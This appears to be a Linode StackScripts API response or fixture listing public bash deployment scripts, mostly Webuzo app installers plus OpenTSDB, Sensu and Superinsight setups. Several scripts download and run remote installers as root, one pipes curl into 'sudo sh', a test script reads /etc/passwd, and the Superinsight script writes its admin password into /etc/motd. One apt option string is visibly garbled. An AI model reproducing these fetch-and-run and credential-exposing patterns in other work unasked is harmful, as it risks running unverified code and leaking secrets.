\".*\"\nrabbitmqctl set_user_tags sensu administrator", "user_defined_fields":
[]}, {"id": 978973, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2",
"label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images":
["linode/slackware14.1", "linode/ubuntu20.04", "linode/alpine3.13", "linode/alpine3.15"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id":
7198, "username": "kidid", "user_gravatar_id": "0bcff359135eea23d1cc1306ef31b413",
"label": "ddad", "description": "fsfgg", "ordinal": 0, "logo_url": "", "images":
["linode/centos5.632bit"], "deployments_total": 0, "deployments_active": 0,
"is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash",
"user_defined_fields": []}, {"id": 9246, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "phpLiteAdmin powered by Webuzo",
"description": "phpLiteAdmin is a web-based SQLite database admin tool written
in PHP with support for SQLite2 and SQLite3. \r\n\t\t\t\r\nWebuzo is a Single
User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal,
etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual
machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure phpLiteAdmin
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"phpLiteAdmin powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install phpLiteAdmin and Softaculous Webuzo\n# Description -\n# About Webuzo
:\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps
(WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java,
MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About phpLiteAdmin
:\n# phpLiteAdmin is a web-based SQLite database admin tool written in PHP
with support for SQLite2 and SQLite3. \n###########################################################################################################\n\n#
Install phpLiteAdmin Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=431&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
phpLiteAdmin and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, phpLiteAdmin has been successfully installed\"\necho \" \"\necho
\"You can now configure phpLiteAdmin and Softaculous Webuzo at the following
URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing
Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14366,
"username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78",
"label": "install-opentsdb", "description": "", "ordinal": 0, "logo_url": "",
"images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n#
Installs OpenTSDB from source\n#\n# Provides:\n# - HTTP (TCP/4242)\n#\n# Dependencies:\n#
- HBase (TCP/9000)\n# - ZooKeeper (TCP/2181)\n##\nset -eux\n\nsource env.sh\n\n#
Install dependencies\napt-get install -yq openjdk-7-jre-headless\n\n# Install
OpenTSDB\ncd /tmp\n\ncurl -sOL https://github.com/OpenTSDB/opentsdb/releases/download/v${OPENTSDB_VERSION}/opentsdb-${OPENTSDB_VERSION}_all.deb\ndpkg
-i opentsdb-${OPENTSDB_VERSION}_all.deb\n\n# Create tables in HBase\nexport
HBASE_HOME=/opt/hbase\nexport COMPRESSION=NONE\n\n/usr/share/opentsdb/tools/create_table.sh\n\n#
Configure OpenTSDB\ncp $BASE_PATH/etc/opentsdb/opentsdb.conf /etc/opentsdb\n\n#
Start OpenTSDB\nservice opentsdb start", "user_defined_fields": []}, {"id":
705310, "username": "dmc3", "user_gravatar_id": "3661544ff6045ff4ba8e4be7ac9c5819",
"label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images":
["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "test", "script": "#!/bin/bash\n\ncat /etc/passwd", "user_defined_fields":
[]}, {"id": 8991, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Drupal powered by Webuzo", "description": "Drupal is an open-source
platform and content management system for building dynamic web sites offering
a broad range of features and services including user administration, publishing
workflow, discussion capabilities, news aggregation, metadata functionalities
using controlled vocabularies and XML publishing for content sharing purposes.\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Drupal and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Drupal powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Drupal and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Drupal :\n# Drupal
is an open-source platform and content management system for building dynamic
web sites \n# offering a broad range of features and services including user
administration, publishing workflow,\n# discussion capabilities, news aggregation,
metadata functionalities using controlled vocabularies \n# and XML publishing
for content sharing purposes.\n###########################################################################################################\n\n#
Install Drupal Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=30&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Drupal and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Drupal has been successfully installed\"\necho \" \"\necho
\"You can now configure Drupal and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9247, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "UIkit
powered by Webuzo", "description": "UIkit A lightweight and modular front-end
framework for developing fast and powerful web interfaces.\r\n\r\nUIkit gives
you a comprehensive collection of HTML, CSS, and JS components which is simple
to use, easy to customize and extendable.\r\n\r\nUIkit is open source and MIT
licensed. It is absolutely free of charge and you can use, copy, merge, publish
and distribute the framework without any limitations.\r\n\t\t\t\r\nWebuzo is
a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla,
Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their
virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure UIkit and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"UIkit powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install UIkit and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About UIkit :\n# UIkit
A lightweight and modular front-end framework for developing fast and powerful
web interfaces.\n# UIkit gives you a comprehensive collection of HTML, CSS,
and JS components which is simple to use, \n# easy to customize and extendable.\n###########################################################################################################\n\n#
Install UIkit Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=471&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
UIkit and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, UIkit has been successfully installed\"\necho \" \"\necho
\"You can now configure UIkit and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14367, "username":
"ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu-flapjack",
"description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n##\n# Installs the Flapjack handler
for Sensu\n#\n# Dependencies:\n# - Redis provided for Flapjack\n# - Sensu server\n##\nset
-eux\n\nsource env.sh\n\ncd /tmp\n\ngit clone git://github.com/sensu/sensu-community-plugins.git\ncp
sensu-community-plugins/extensions/handlers/flapjack.rb /etc/sensu/extensions/handlers\n\ncp
$BASE_PATH/etc/sensu/conf.d/flapjack.json /etc/sensu/conf.d", "user_defined_fields":
[]}, {"id": 11040, "username": "zhangfan", "user_gravatar_id": "6378c7beab2f878c31ff5c112efbd437",
"label": "StackScript", "description": "", "ordinal": 0, "logo_url": "", "images":
["linode/debian6"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "Initial import", "script": "#!StackScript", "user_defined_fields":
[]}, {"id": 14368, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78",
"label": "install-uchiwa", "description": "", "ordinal": 0, "logo_url": "",
"images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n#
Installs Uchiwa, a multi-datacenter dashboard for Sensu\n#\n# Provides:\n# -
HTTP (TCP/8010)\n#\n# Dependencies:\n# - Sensu API\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/install-sensu.sh\n\napt-get
install -yq uchiwa\n\ncp $BASE_PATH/etc/sensu/uchiwa.json /etc/sensu\n\nupdate-rc.d
uchiwa defaults\n\nservice uchiwa restart", "user_defined_fields": []}, {"id":
764448, "username": "br01fox", "user_gravatar_id": "aed368e47ef5ba2d07e560d71868f8b5",
"label": "Slackware is fun ", "description": "", "ordinal": 0, "logo_url": "",
"images": ["linode/slackware14.1"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "Slackware", "script": "#!/bin/bash\n\nSlackware
is fun.", "user_defined_fields": []}, {"id": 8993, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "AbanteCart powered by Webuzo",
"description": "Abante Cart is a free PHP based eCommerce solution for merchants
to provide ability creating online business and sell products online quick and
efficient.\r\n\r\nAbanteCart application is built and supported by experienced
enthusiasts that are passionate about their work and contribution to rapidly
evolving eCommerce industry.\r\n\r\nAbanteCart is more than just a shopping
cart, it is rapidly growing eCommerce platform with many benefits. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
AbanteCart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"AbanteCart powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install AbanteCart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About AbanteCart :\n# Abante
Cart is a free PHP based eCommerce solution for merchants to provide ability
creating online \n# business and sell products online quick and efficient.
\n###########################################################################################################\n\n#
Install AbanteCart Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=389&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
AbanteCart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, AbanteCart has been successfully installed\"\necho \" \"\necho
\"You can now configure AbanteCart and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9249, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SiteCake
powered by Webuzo", "description": "SiteCake is a drag and drop CMS for simple
websites. It lets you publish the content just by dragging it to your web page.
It''s CMS for static websites, with few pages only, to cover the niche below
WordPress level of complexity.\r\n\r\nSiteCake was designed to be simple enough
for a designer to integrate it on their own, without a need to hire a developer.
SiteCake was designed to be simple enough for a site owner to change some text,
swap some photos and add a video on their own, without a need to hire a web
editor.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users
deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX,
PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure SiteCake
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"SiteCake powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install SiteCake and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About SiteCake :\n# SiteCake
is a drag and drop CMS for simple websites.\n# It lets you publish the content
just by dragging it to your web page.\n# It''s CMS for static websites, with
few pages only, to cover the niche below WordPress level of complexity.\n###########################################################################################################\n\n#
Install SiteCake Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=480&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
SiteCake and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, SiteCake has been successfully installed\"\necho \" \"\necho
\"You can now configure SiteCake and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8994, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla
powered by Webuzo", "description": "Joomla is an award-winning content management
system (CMS), which enables you to build Web sites and powerful online applications.
Many aspects, including its ease-of-use and extensibility, have made Joomla
the most popular Web site software available. Best of all, Joomla is an open
source solution that is freely available to everyone. \r\n\t\t\t\r\nWebuzo is
a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla,
Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their
virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Joomla
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Joomla powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Joomla and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Joomla :\n# Joomla
is an award-winning content management system (CMS), which enables you to build
Web sites \n# and powerful online applications. Many aspects, including its
ease-of-use and extensibility, have made \n# Joomla the most popular Web site
software available. Best of all, Joomla is an open source \n# solution that
is freely available to everyone.\n###########################################################################################################\n\n#
Install Joomla Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=413&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Joomla and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho
\"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193763, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"Superinsight One-Click", "description": "Superinsight One-Click app", "ordinal":
0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0,
"deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/bash\n\n##
REQUIRED IN EVERY MARKETPLACE SUBMISSION\n# Add Logging to /var/log/stackscript.log
for future troubleshooting\nexec 1> >(tee -a \"/var/log/stackscript.log\") 2>&1\n#
System Updates updates\napt-get -o Acquir1234::5678orceIPv4=true update -y\n## END
OF REQUIRED CODE FOR MARKETPLACE SUBMISSION\n\n# Install docker\ncurl -fsSL
get.docker.com | sudo sh\n\n# Creating Password\necho \"Superinsight setting
up password....\"\nADMIN_PASSWORD=$(openssl rand -hex 12)\nNODE_IP=$(hostname
-I | cut -f1 -d'' '')\necho \"Downloading and Installing Superinsight instance......\"\n\n#
Install Superinsight\ndocker run \\\n--detach \\\n--name superinsight-db-standalone
\\\n--restart always \\\n-p 5432:5432 \\\n-v vol-superinsight:/db \\\n-e SUPERINSIGHT_USER=admin
\\\n-e SUPERINSIGHT_PASSWORD=\"${ADMIN_PASSWORD}\" \\\nsuperinsight/superinsight-db-standalone:latest\n\n\n#
Print instructions\ncat << EOF > /etc/motd\n\n################################################################################################################################################\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSUPERINSIGHT\n################################################################################################################################################\n\nSuperinsight
created the user admin with password: ${ADMIN_PASSWORD}\nYou can can connect
using a database client with the following connection string postgres://admin:${ADMIN_PASSWORD}@${NODE_IP}:5432/superinsight\nFor
complete source code and information, visit: https://github.com/superinsight/superinsight-db\n\n################################################################################################################################################\nEOF",
"user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description":
"MyBB is a free bulletin board system software package developed by the MyBB
Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it
easy to use. MyBB uses a standard discussion board structure, so your visitors
will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single
User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal,
etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual
machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure MyBB and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"MyBB powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install MyBB and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About MyBB :\n# MyBB
is a free bulletin board system software package developed by the MyBB Group.\n###########################################################################################################\n\n#
Install MyBB Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=36&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
MyBB and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, MyBB has been successfully installed\"\necho \" \"\necho
\"You can now configure MyBB and Softaculous Webuzo at the following URL :\"\necho
